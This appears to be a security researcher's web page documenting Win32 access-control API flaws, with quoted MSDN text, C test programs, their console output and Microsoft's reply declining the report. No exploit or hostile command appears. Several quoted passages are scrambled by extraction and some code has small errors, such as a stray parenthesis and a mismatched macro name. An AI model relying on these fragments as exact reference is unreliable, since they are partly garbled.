When a process tries to access a securable object, the system steps through the access control entries (ACEs) in the object's discretionary access control list (DACL) until it finds ACEs that allow or deny the requested access. The access rights that a DACL allows a user could vary depending on the order of ACEs in the DACL. Consequently, the Windows XP operating system defines a preferred order for ACEs in the DACL of a securable object. The preferred order provides a simple framework that ensures that an access-denied ACE actually denies access. For more information about the system's algorithm for checking access, see How DACLs Control Access to an Object.The MSDN article[…]
The following steps describe the preferred order:
- All explicit ACEs are placed in a group before any inherited ACEs.
- Within the group of explicit ACEs, access-denied ACEs are placed before access-allowed ACEs.
- Inherited ACEs are placed in the order in which they are inherited. ACEs inherited from the child object's parent come first, then ACEs inherited from the grandparent, and so on up the tree of objects.
- For each level of inherited ACEs, access-denied ACEs are placed before access-allowed ACEs.
The system compares the trustee in each ACE to the trustees identified in the thread's access token. An access token contains security identifiers (SIDs) that identify the user and the group accounts to which the user belongs. […]The MSDN article Well-known SIDs specifies:[…]
The system examines each ACE in sequence until one of the following events occurs:
- An access-denied ACE explicitly denies any of the requested access rights to one of the trustees listed in the thread's access token.
- One or more access-allowed ACEs for trustees listed in the thread's access token explicitly grant all the requested access rights.
- All ACEs have been checked and there is still at least one requested access right that has not been explicitly allowed, in which case, access is implicitly denied.
Security Descriptor String Format ACE Strings The MSDN article SACL Access Right states:The following are some universal well-known SIDs.
Universal well-known SID String value Identifies Null SID S-1-0-0 A group with no members. This is often used when a SID value is not known. World S-1-1-0 A group that includes all users. Local S-1-2-0 Users who log on to terminals locally (physically) connected to the system. Creator Owner ID S-1-3-0 A security identifier to be replaced by the security identifier of the user who created a new object. This SID is used in inheritable ACEs. Creator Group ID S-1-3-1 A security identifier to be replaced by the primary-group SID of the user who created a new object. Use this SID in inheritable ACEs. […]
Additionally, the Security Descriptor Definition Language (SDDL) uses SID strings to reference well-known SIDs in a string format.
The ACCESS_SYSTEM_SECURITY access right is not valid in a DACL because DACLs do not control access to a SACL.The MSDN article Requesting Access Rights to an Object states:
The documentation for the Win32 functionNote
The MAXIMUM_ALLOWED constant cannot be used in an ACE.
IsValidAcl()
specifies:
The IsValidAcl function validates an access control list (ACL).The documentation for the Win32 function[…]BOOL IsValidAcl( [in] PACL pAcl );
If the ACL is not valid, the function returns zero. There is no extended error information for this function; do not call GetLastError.
[…]
This function checks the revision level of the ACL and verifies that the number of access control entries (ACEs) specified in the AceCount member of the ACL structure fits the space specified by the AclSize member of the ACL structure.
IsValidSecurityDescriptor()
specifies:
The IsValidSecurityDescriptor function determines whether the components of a security descriptor are valid.[…]BOOL IsValidSecurityDescriptor( [in] PSECURITY_DESCRIPTOR pSecurityDescriptor );
If any of the components of the security descriptor are not valid, the return value is zero. There is no extended error information for this function; do not call GetLastError.
[…]
The IsValidSecurityDescriptor function checks the validity of the components that are present in the security descriptor. It does not verify whether certain components are present nor does it verify the contents of the individual ACE or ACL.
Create the text file blunder.c
with the following
content in an arbitrary, preferable empty directory:
// Copyleft © 2004-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
#define STRICT
#define UNICODE
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <sddl.h>
#include <aclapi.h>
typedef struct _ace
{
ACE_HEADER Header;
ACCESS_MASK Mask;
SID Trustee;
} ACE;
const struct _acl
{
ACL acl;
ACE ace[3];
} dacl = {{ACL_REVISION, 0, sizeof(dacl), 3, 0},
// (A;NP;AS;;;CG)
{{{ACCESS_ALLOWED_ACE_TYPE, NO_PROPAGATE_INHERIT_ACE, sizeof(ACE)},
ACCESS_SYSTEM_SECURITY,
{SID_REVISION, ANYSIZE_ARRAY, SECURITY_CREATOR_SID_AUTHORITY, SECURITY_CREATOR_GROUP_RID}},
// (A;NP;0x110000;;;CO)
{{ACCESS_ALLOWED_ACE_TYPE, NO_PROPAGATE_INHERIT_ACE, sizeof(ACE)},
DELETE | SYNCHRONIZE,
{SID_REVISION, ANYSIZE_ARRAY, SECURITY_CREATOR_SID_AUTHORITY, SECURITY_CREATOR_OWNER_RID}},
// (D;NP;MA;;;CO)
{{ACCESS_DENIED_ACE_TYPE, NO_PROPAGATE_INHERIT_ACE, sizeof(ACE)},
MAXIMUM_ALLOWED,
{SID_REVISION, ANYSIZE_ARRAY, SECURITY_CREATOR_SID_AUTHORITY, SECURITY_CREATOR_OWNER_RID}}}},
sacl = {{ACL_REVISION, 0, sizeof(sacl), 1, 0},
// (ML;NP;NRNWNX;;;ME)
{{{SYSTEM_MANDATORY_LABEL_ACE_TYPE, NO_PROPAGATE_INHERIT_ACE, sizeof(ACE)},
SYSTEM_MANDATORY_LABEL_NO_EXECUTE_UP | SYSTEM_MANDATORY_LABEL_NO_READ_UP | SYSTEM_MANDATORY_LABEL_NO_WRITE_UP,
{SID_REVISION, ANYSIZE_ARRAY, SECURITY_MANDATORY_LABEL_AUTHORITY, SECURITY_MANDATORY_MEDIUM_RID}}}};
const ACL *acl[] = {&dacl.acl, &sacl.acl, NULL, NULL};
const SID group = {SID_REVISION, ANYSIZE_ARRAY, SECURITY_CREATOR_SID_AUTHORITY, SECURITY_CREATOR_GROUP_RID};
const SECURITY_DESCRIPTOR sd = {SECURITY_DESCRIPTOR_REVISION,
0,
SE_DACL_PRESENT | SE_DACL_PROTECTED,
(SID *) NULL,
&group,
(ACL *) NULL,
&dacl};
const SECURITY_ATTRIBUTES sa = {sizeof(sa), &sd, FALSE};
__declspec(noreturn)
VOID CDECL wmainCRTStartup(VOID)
{
SECURITY_DESCRIPTOR *lpSD;
LPWSTR lpSDDL;
DWORD dwSDDL;
DWORD dwError = ~0UL;
HANDLE hError = GetStdHandle(STD_ERROR_HANDLE);
#ifndef BLUNDER
HANDLE hBlunder = CreateFile(L"blunder.tmp",
DELETE | READ_CONTROL | WRITE_DAC | WRITE_OWNER,
FILE_SHARE_DELETE,
&sa,
CREATE_NEW,
FILE_FLAG_DELETE_ON_CLOSE,
(HANDLE) NULL);
DWORD dwACL = 0UL;
if (hBlunder == INVALID_HANDLE_VALUE)
dwError = GetLastError();
else
{
do
{
dwError = GetSecurityInfo(hBlunder,
SE_FILE_OBJECT,
DACL_SECURITY_INFORMATION | PROTECTED_DACL_SECURITY_INFORMATION | UNPROTECTED_DACL_SECURITY_INFORMATION |
GROUP_SECURITY_INFORMATION | LABEL_SECURITY_INFORMATION | OWNER_SECURITY_INFORMATION,
(SID **) NULL,
(SID **) NULL,
(ACL **) NULL,
(ACL **) NULL,
&lpSD);
if (dwError != ERROR_SUCCESS)
break;
if (!ConvertSecurityDescriptorToStringSecurityDescriptor(lpSD,
SDDL_REVISION_1,
OWNER_SECURITY_INFORMATION | GROUP_SECURITY_INFORMATION | DACL_SECURITY_INFORMATION | SACL_SECURITY_INFORMATION | LABEL_SECURITY_INFORMATION,
&lpSDDL,
&dwSDDL))
dwError = GetLastError();
else
{
lpSDDL[dwSDDL = wcslen(lpSDDL)] = L'\n';
if (!WriteConsole(hError, lpSDDL, ++dwSDDL, &dwError, NULL))
dwError = GetLastError();
else
if (dwError ^= dwSDDL)
dwError = ERROR_WRITE_FAULT;
// else
// dwError = ERROR_SUCCESS;
if (LocalFree(lpSDDL) != NULL)
dwError = GetLastError();
}
if (LocalFree(lpSD) != NULL)
dwError = GetLastError();
if (dwError != ERROR_SUCCESS)
break;
dwError = SetSecurityInfo(hBlunder,
SE_FILE_OBJECT,
LABEL_SECURITY_INFORMATION | GROUP_SECURITY_INFORMATION | DACL_SECURITY_INFORMATION | PROTECTED_DACL_SECURITY_INFORMATION | UNPROTECTED_DACL_SECURITY_INFORMATION,
(SID *) NULL,
&group,
acl[dwACL],
acl[dwACL + 1UL]);
}
while ((dwError == ERROR_SUCCESS) && (++dwACL < sizeof(acl) / sizeof(*acl) - 1));
if (!CloseHandle(hBlunder))
dwError = GetLastError();
}
#else // BLUNDER
if (IsValidAcl(&dacl)
&& IsValidAcl(&sacl)
&& IsValidSecurityDescriptor(&sd))
{
if (!ConvertSecurityDescriptorToStringSecurityDescriptor(&sd,
SDDL_REVISION_1,
OWNER_SECURITY_INFORMATION | GROUP_SECURITY_INFORMATION | DACL_SECURITY_INFORMATION | SACL_SECURITY_INFORMATION | LABEL_SECURITY_INFORMATION,
&lpSDDL,
&dwSDDL))
dwError = GetLastError();
else
{
lpSDDL[dwSDDL = wcslen(lpSDDL)] = L'\n';
if (!WriteConsole(hError, lpSDDL, ++dwSDDL, &dwError, NULL))
dwError = GetLastError();
else
if (dwError ^= dwSDDL)
dwError = ERROR_WRITE_FAULT;
// else
// dwError = ERROR_SUCCESS;
if (LocalFree(lpSDDL) != NULL)
dwError = GetLastError();
}
if (!CreateDirectory(L"Blunder", &sa))
dwError = GetLastError();
else
{
dwError = GetNamedSecurityInfo(L"Blunder",
SE_FILE_OBJECT,
DACL_SECURITY_INFORMATION | PROTECTED_DACL_SECURITY_INFORMATION | UNPROTECTED_DACL_SECURITY_INFORMATION |
GROUP_SECURITY_INFORMATION | LABEL_SECURITY_INFORMATION | OWNER_SECURITY_INFORMATION,
(SID **) NULL,
(SID **) NULL,
(ACL **) NULL,
(ACL **) NULL,
&lpSD);
if (dwError == ERROR_SUCCESS)
{
if (!ConvertSecurityDescriptorToStringSecurityDescriptor(lpSD,
SDDL_REVISION_1,
OWNER_SECURITY_INFORMATION | GROUP_SECURITY_INFORMATION | DACL_SECURITY_INFORMATION | SACL_SECURITY_INFORMATION | LABEL_SECURITY_INFORMATION,
&lpSDDL,
&dwSDDL))
dwError = GetLastError();
else
{
lpSDDL[dwSDDL = wcslen(lpSDDL)] = L'\n';
if (!WriteConsole(hError, lpSDDL, ++dwSDDL, &dwError, NULL))
dwError = GetLastError();
else
if (dwError ^= dwSDDL)
dwError = ERROR_WRITE_FAULT;
// else
// dwError = ERROR_SUCCESS;
if (LocalFree(lpSDDL) != NULL)
dwError = GetLastError();
}
if (LocalFree(lpSD) != NULL)
dwError = GetLastError();
}
if (!RemoveDirectory(L"Blunder"))
dwError = GetLastError();
}
}
#endif // BLUNDER
ExitProcess(dwError);
}
Compile and link the source file blunder.c
created in
step 1. a first time:
SET CL=/Oi /W4 /Zl SET LINK=/ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE CL.EXE blunder.c advapi32.lib kernel32.libNote: the command lines can be copied and pasted as block into a Command Processor window.
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c blunder.c(49) : warning C4090: 'initializing' : different 'const' qualifiers blunder.c(51) : warning C4090: 'initializing' : different 'const' qualifiers blunder.c(53) : warning C4090: 'initializing' : different 'const' qualifiers blunder.c(68) : warning C4090: 'function' : different 'const' qualifiers blunder.c(125) : warning C4090: 'function' : different 'const' qualifiers blunder.c(126) : warning C4090: 'function' : different 'const' qualifiers blunder.c(127) : warning C4090: 'function' : different 'const' qualifiers Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj advapi32.lib kernel32.lib
Execute the console application blunder.exe
built in
step 2. and evaluate its exit code:
.\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
O:S-1-5-21-820728443-44925810-1835867902-1000G:CGD:P(A;NP;;;;CG)(A;NP;0x110000;;;CO)(D;NP;;;;CO) O:S-1-5-21-820728443-44925810-1835867902-1000G:CGD:PAI(A;;;;;CG)(A;;0x110000;;;S-1-5-21-820728443-44925810-1835867902-1000)(D;;;;;S-1-5-21-820728443-44925810-1835867902-1000)S:(ML;;NWNRNX;;;ME) O:S-1-5-21-820728443-44925810-1835867902-1000G:CGD:PAIS:P 0x0 (WIN32: 0 ERROR_SUCCESS) -- 0 (0) Error message text: The operation completed successfully. CertUtil: -error command completed successfully.OUCH¹: the Win32 functions
CreateFile()
and
SetSecurityInfo()
fail to reject the AS
alias ACCESS_SYSTEM_SECURITY
and
MA
alias
MAXIMUM_ALLOWED
access permissions
as invalid, but map them to zero alias
NO_ACCESS
!
OUCH²: they also fail to enforce the preferred canonical order of the access control entries!
OUCH³: while the Win32 function
fails to resolve the
universal well-known security identifiers
CG
alias
S-1-3-1
and
CO
alias
S-1-3-0
to the effective owner
and group SIDs,
SetSecurityInfo()
fails to resolve only CG
alias
S-1-3-1
!
OUCH⁴: the Win32 function
SetSecurityInfo()
adds the AI
alias Auto Inheritance
flag to the
DACL,
but removes the NP
alias No Propagate Inherit
flag from the ACEs.
OUCH⁵: it also discards the mandatory label
(ML;NP;NRNWNX;;;ME)
placed in the
DACL
silently instead to fail!
Compile and link the source file blunder.c
created in
step 1. a second time, now with the preprocessor macro
blunder
defined:
CL.EXE /Dblunder blunder.c advapi32.lib kernel32.lib
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c blunder.c(49) : warning C4090: 'initializing' : different 'const' qualifiers blunder.c(51) : warning C4090: 'initializing' : different 'const' qualifiers blunder.c(53) : warning C4090: 'initializing' : different 'const' qualifiers blunder.c(135) : warning C4090: 'function' : different 'const' qualifiers blunder.c(136) : warning C4090: 'function' : different 'const' qualifiers blunder.c(137) : warning C4090: 'function' : different 'const' qualifiers blunder.c(139) : warning C4090: 'function' : different 'const' qualifiers blunder.c(161) : warning C4090: 'function' : different 'const' qualifiers Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj advapi32.lib kernel32.lib
Execute the console application blunder.exe
built in
step 4. and evaluate its exit code:
.\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
G:CGD:P(A;NP;0x1000000;;;CG)(A;NP;0x110000;;;CO)(D;NP;0x2000000;;;CO) O:S-1-5-21-820728443-44925810-1835867902-1000G:CGD:P(A;NP;;;;CG)(A;NP;0x110000;;;CO)(D;NP;;;;CO) 0x5 (WIN32: 5 ERROR_ACCESS_DENIED) -- 5 (5) Error message text: Access denied. CertUtil: -error command completed successfully.OOPS¹: the Win32 function
ConvertSecurityDescriptorToStringSecurityDescriptor()
fails to convert the
access masks
0x10000000
alias
ACCESS_SYSTEM_SECURITY
and
0x20000000
alias
MAXIMUM_ALLOWED
into the
corresponding
ACE strings
AS
respectively
MA
!
OUCH⁶: the Win32 function
CreateDirectory()
fails to reject the AS
alias ACCESS_SYSTEM_SECURITY
and
MA
alias
MAXIMUM_ALLOWED
access permissions
as invalid, but maps them to zero alias
NO_ACCESS
!
OUCH⁷: it also fails to enforce the preferred
canonical order of the
access control entries
and to resolve the
universal well-known security identifiers
CG
alias
S-1-3-1
and
CO
alias
S-1-3-0
to the effective owner
and group SIDs!
OUCH⁸: the Win32 function
RemoveDirectory()
fails with Win32 error code 5 alias
ERROR_ACCESS_DENIED
– despite its access permission 0 alias
NO_ACCESS
, i.e. no access denied,
and placed last, the
ACE
(D;;;;;CO)
overrules the ACE
(A;;0x110000;;;CO)
which grants the CREATOR OWNER
explicit
DELETE
and
SYNCHRONIZE
access permission on the
subdirectory Blunder
!
Overwrite the text file blunder.c
created in
step 1. with the following content:
// Copyleft © 2004-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
#define STRICT
#define UNICODE
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <sddl.h>
__declspec(noreturn)
VOID CDECL wmainCRTStartup(VOID)
{
SECURITY_DESCRIPTOR *lpSD;
DWORD dwSD;
DWORD dwError = ERROR_SUCCESS;
#ifndef BLUNDER
if (!ConvertStringSecurityDescriptorToSecurityDescriptor(L"D:P(A;NP;0x10000000;;;CG)(D;NP;0x20000000;;;CO)",
#elif BLUNDER == 1
if (!ConvertStringSecurityDescriptorToSecurityDescriptor(L"D:P(A;NP;AS;;;CG)",
#else
if (!ConvertStringSecurityDescriptorToSecurityDescriptor(L"D:P(D;NP;MA;;;CO)",
#endif
SDDL_REVISION_1,
&lpSD,
&dwSD))
dwError = GetLastError();
else
if (LocalFree(lpSD) != NULL))
dwError = GetLastError();
ExitProcess(dwError);
}
Compile and link the source file blunder.c
overwritten
in step 6. a first time:
CL.EXE blunder.c advapi32.lib kernel32.lib
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj advapi32.lib kernel32.lib
Execute the console application blunder.exe
built in
step 7. and evaluate its exit code:
.\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
0x0 (WIN32: 0 ERROR_SUCCESS) -- 0 (0) Error message text: The operation completed successfully. CertUtil: -error command completed successfully.
Compile and link the source file blunder.c
overwritten
in step 6. a second time, now with the preprocessor macro
BLUNDER
defined:
CL.EXE /DBLUNDER blunder.c advapi32.lib kernel32.lib
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj advapi32.lib kernel32.lib
Execute the console application blunder.exe
built in
step 9. and evaluate its exit code:
.\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
0x538 (WIN32: 1336 ERROR_INVALID_ACL) -- 1336 (1336) Error message text: The access control list (ACL) structure is invalid. CertUtil: -error command completed successfully.OOPS²: the Win32 function
ConvertStringSecurityDescriptorToSecurityDescriptor()
fails to convert the
ACE string
AS
with Win32 error
code 1336 alias
ERROR_INVALID_ACL
!
Compile and link the source file blunder.c
overwritten
in step 6. a third time, now with the preprocessor macro
BLUNDER
defined as 0:
CL.EXE /DBLUNDER=0 blunder.c advapi32.lib kernel32.lib
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj advapi32.lib kernel32.lib
Execute the console application blunder.exe
built in
step 11. and evaluate its exit code:
.\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
0x538 (WIN32: 1336 ERROR_INVALID_ACL) -- 1336 (1336) Error message text: The access control list (ACL) structure is invalid. CertUtil: -error command completed successfully.OOPS³: the Win32 function
ConvertStringSecurityDescriptorToSecurityDescriptor()
also fails to convert the
ACE string
MA
with Win32 error
code 1336 alias
ERROR_INVALID_ACL
!
CreateDirectoryEx()
,
CreateDirectoryTransacted()
,
CreateFile2()
,
CreateFileTransacted()
and
SetNamedSecurityInfo()
(as well as others) is left as an exercise to the reader.
Note: a repetition of this falsification in the 64-bit execution environment is left as an exercise to the reader.
ACCESS_SYSTEM_SECURITY
or
MAXIMUM_ALLOWED
access permission!
They replied with the following statements:
Thank you for your submission. We determined your finding does not meet our bar for immediate servicing. For more information, please see the Microsoft Security Servicing Criteria for Windows (https://aka.ms/windowscriteria).However, we’ve marked your finding for future review as an opportunity to improve our products. I do not have a timeline for this review and will not provide updates moving forward. As no further action is required at this time, I am closing this case. You will not receive further correspondence regarding this submission.
Setting the mandatory label ACEsection:
The permissions that are required to change the mandatory label ACE in the SACL of a security descriptor is WRITE_OWNER. Writing the mandatory label to the SACL does not require SE_SECURITY_NAME privilege, or the ACCESS_SYSTEM_SECURITY access right. The integrity level in the mandatory label can be set to a value less than or equal to the subject’s integrity level.
Create the text file blunder.c
with the following
content in an arbitrary, preferable empty directory:
// Copyleft © 2004-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
#define STRICT
#define UNICODE
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
typedef struct _ace
{
ACE_HEADER Header;
ACCESS_MASK Mask;
SID Trustee;
} ACE;
const struct _acl
{
ACL acl;
ACE ace;
} sacl = {{ACL_REVISION, 0, sizeof(sacl), 1, 0},
// (ML;NP;NRNWNX;;;ME)
{{SYSTEM_MANDATORY_LABEL_ACE_TYPE, NO_PROPAGATE_INHERIT_ACE, sizeof(ACE)},
SYSTEM_MANDATORY_LABEL_NO_EXECUTE_UP | SYSTEM_MANDATORY_LABEL_NO_READ_UP | SYSTEM_MANDATORY_LABEL_NO_WRITE_UP,
{SID_REVISION, ANYSIZE_ARRAY, SECURITY_MANDATORY_LABEL_AUTHORITY, SECURITY_MANDATORY_MEDIUM_RID}}};
const SECURITY_DESCRIPTOR sd = {SECURITY_DESCRIPTOR_REVISION,
0,
SE_SACL_PRESENT | SE_SACL_PROTECTED,
(SID *) NULL,
(SID *) NULL,
&sacl,
(ACL *) NULL};
const SECURITY_ATTRIBUTES sa = {sizeof(sa), &sd, FALSE};
__declspec(noreturn)
VOID CDECL wmainCRTStartup(VOID)
{
DWORD dwError = ERROR_SUCCESS;
#ifndef BLUNDER
HANDLE hBlunder = CreateFile(L"blunder.tmp",
DELETE | WRITE_OWNER,
FILE_SHARE_DELETE,
&sa,
CREATE_NEW,
FILE_FLAG_DELETE_ON_CLOSE,
(HANDLE) NULL);
if (hBlunder == INVALID_HANDLE_VALUE)
dwError = GetLastError();
else
if (!CloseHandle(hBlunder))
dwError = GetLastError();
#else
if (!CreateDirectory(L"Blunder", &sa))
dwError = GetLastError();
else
if (!RemoveDirectory(L"Blunder"))
dwError = GetLastError();
#endif
ExitProcess(dwError);
}
Compile and link the source file blunder.c
created in
step 1. a first time:
SET CL=/W4 /Zl SET LINK=/ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE CL.EXE blunder.c kernel32.libNote: the command lines can be copied and pasted as block into a Command Processor window.
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c blunder.c(31) : warning C4090: 'initializing' : different 'const' qualifiers blunder.c(34) : warning C4090: 'initializing' : different 'const' qualifiers blunder.c(44) : warning C4090: 'function' : different 'const' qualifiers Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj kernel32.lib
Execute the console application blunder.exe
built in
step 2. and evaluate its exit code:
.\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
0x522 (WIN32: 1314 ERROR_PRIVILEGE_NOT_HELD) -- 1314 (1314) Error message text: A required privilege is not held by the client. CertUtil: -error command completed successfully.OUCH¹: the Win32 function
CreateFile()
fails with Win32 error code 1314 alias
ERROR_PRIVILEGE_NOT_HELD
– contrary to the highlighted statement of the
MSDN article
cited above it’s impossible to set a
mandatory label
upon file creation without the
SeSecurityPrivilege
alias
SE_SECURITY_NAME
privilege!
Compile and link the source file blunder.c
created in
step 1. a second time, now with the preprocessor macro
BLUNDER
defined:
CL.EXE /DBLUNDER blunder.c kernel32.lib
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c blunder.c(31) : warning C4090: 'initializing' : different 'const' qualifiers blunder.c(34) : warning C4090: 'initializing' : different 'const' qualifiers blunder.c(55) : warning C4090: 'function' : different 'const' qualifiers Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj kernel32.lib
Execute the console application blunder.exe
built in
step 4. and evaluate its exit code:
.\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
0x522 (WIN32: 1314 ERROR_PRIVILEGE_NOT_HELD) -- 1314 (1314) Error message text: A required privilege is not held by the client. CertUtil: -error command completed successfully.OUCH²: the Win32 function
CreateDirectory()
fails with Win32 error code 1314 alias
ERROR_PRIVILEGE_NOT_HELD
– contrary to the highlighted statement of the
MSDN article
cited above it’s impossible to set a
mandatory label
upon directory creation without the
SeSecurityPrivilege
alias
SE_SECURITY_NAME
privilege!
CreateDirectoryEx()
,
CreateDirectoryTransacted()
,
CreateFile2()
and
CreateFileTransacted()
is left as an exercise to the reader.
Note: a repetition of this falsification in the 64-bit execution environment is left as an exercise to the reader.
GetNamedSecurityInfo()
states:
The GetNamedSecurityInfo function retrieves a copy of the security descriptor for an object specified by name.The documentation for the Win32 function[…]DWORD GetNamedSecurityInfo( [in] LPCTSTR pObjectName, [in] SE_OBJECT_TYPE ObjectType, [in] SECURITY_INFORMATION SecurityInfo, [out, optional] PSID *ppsidOwner, [out, optional] PSID *ppsidGroup, [out, optional] PACL *ppDacl, [out, optional] PACL *ppSacl, [out, optional] PSECURITY_DESCRIPTOR *ppSecurityDescriptor );
[out, optional] ppSecurityDescriptor
A pointer to a variable that receives a pointer to the security descriptor of the object. When you have finished using the pointer, free the returned buffer by calling the LocalFree function.
This parameter is required if any one of the ppsidGroup, ppDacl, or ppSacl parameters is not NULL.
[…]
To read the owner, group, or DACL from the object's security descriptor, the object's DACL must grant READ_CONTROL access to the caller, or the caller must be the owner of the object.
To read the system access control list of the object, the SE_SECURITY_NAME privilege must be enabled for the calling process.
GetSecurityInfo()
states:
The GetSecurityInfo function retrieves a copy of the security descriptor for an object specified by a handle.SE_OBJECT_TYPE enumeration SECURITY_INFORMATION SID structure ACL structure OUCH⁰: contrary to the highlighted statements of both documentations cited above, the[…]DWORD GetSecurityInfo( [in] HANDLE handle, [in] SE_OBJECT_TYPE ObjectType, [in] SECURITY_INFORMATION SecurityInfo, [out, optional] PSID *ppsidOwner, [out, optional] PSID *ppsidGroup, [out, optional] PACL *ppDacl, [out, optional] PACL *ppSacl, [out, optional] PSECURITY_DESCRIPTOR *ppSecurityDescriptor );
[out, optional] ppSecurityDescriptor
A pointer to a variable that receives a pointer to the security descriptor of the object. When you have finished using the pointer, free the returned buffer by calling the LocalFree function.
This parameter is required if any one of the ppsidOwner, ppsidGroup, ppDacl, or ppSacl parameters is not NULL.
[…]
To read the owner, group, or DACL from the object's security descriptor, the calling process must have been granted READ_CONTROL access when the handle was opened. To get READ_CONTROL access, the caller must be the owner of the object or the object's DACL must grant the access.
ppSecurityDescriptor
parameter is not
optional, but mandatory – a call of both
functions without possibility to return the
security descriptor
is OUCH¹: contrary to the highlighted statements
of both documentations cited above, the object's owner may have
no READ_CONTROL
access permission!
Security Identifiers (SIDs) New for Windows Vista
The TechNet article Security Identifiers Technical Overview specifies:
The following table lists the universal well-known SIDs.AD DS: Owner RightsUniversal well-known SIDs
Value Universal Well-Known SID Identifies … … … S-1-3-4 Owner Rights A group that represents the current owner of the object. When an ACE that carries this SID is applied to an object, the system ignores the implicit READ_CONTROL and WRITE_DAC permissions for the object owner.
Create the text file blunder.c
with the following
content in an arbitrary, preferable empty directory:
// Copyleft © 2009-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
#define STRICT
#define UNICODE
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <aclapi.h>
#define FILE_SHARE_NONE 0UL
__declspec(noreturn)
VOID CDECL wmainCRTStartup(VOID)
{
#ifdef BLUNDER
SECURITY_DESCRIPTOR *lpSD;
#endif
#ifndef blunder
DWORD dwError = GetNamedSecurityInfo(L"blunder.exe",
SE_FILE_OBJECT,
OWNER_SECURITY_INFORMATION | GROUP_SECURITY_INFORMATION | DACL_SECURITY_INFORMATION | LABEL_SECURITY_INFORMATION,
(SID **) NULL,
(SID **) NULL,
(ACL **) NULL,
(ACL **) NULL,
#ifndef BLUNDER
(SECURITY_DESCRIPTOR **) NULL);
#else
&lpSD);
if (dwError == ERROR_SUCCESS)
if (LocalFree(lpSD) != NULL)
dwError = GetLastError();
#endif
#else // blunder
DWORD dwError;
HANDLE hBlunder = CreateFile(L"blunder.exe",
READ_CONTROL,
FILE_SHARE_NONE,
(SECURITY_ATTRIBUTES *) NULL,
OPEN_EXISTING,
FILE_FLAG_BACKUP_SEMANTICS,
(HANDLE) NULL);
if (hBlunder == INVALID_HANDLE_VALUE)
dwError = GetLastError();
else
{
dwError = GetSecurityInfo(hBlunder,
SE_FILE_OBJECT,
OWNER_SECURITY_INFORMATION | GROUP_SECURITY_INFORMATION | DACL_SECURITY_INFORMATION | LABEL_SECURITY_INFORMATION,
(SID **) NULL,
(SID **) NULL,
(ACL **) NULL,
(ACL **) NULL,
#ifndef BLUNDER
(SECURITY_DESCRIPTOR **) NULL);
#else
&lpSD);
if (dwError == ERROR_SUCCESS)
if (LocalFree(lpSD) != NULL)
dwError = GetLastError();
#endif
if (!CloseHandle(hBlunder))
dwError = GetLastError();
}
#endif // blunder
ExitProcess(dwError);
}
Compile and link the source file blunder.c
created in
step 1. a first time:
SET CL=/W4 /Zl SET LINK=/ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE CL.EXE blunder.c advapi32.lib kernel32.libNote: the command lines can be copied and pasted as block into a Command Processor window.
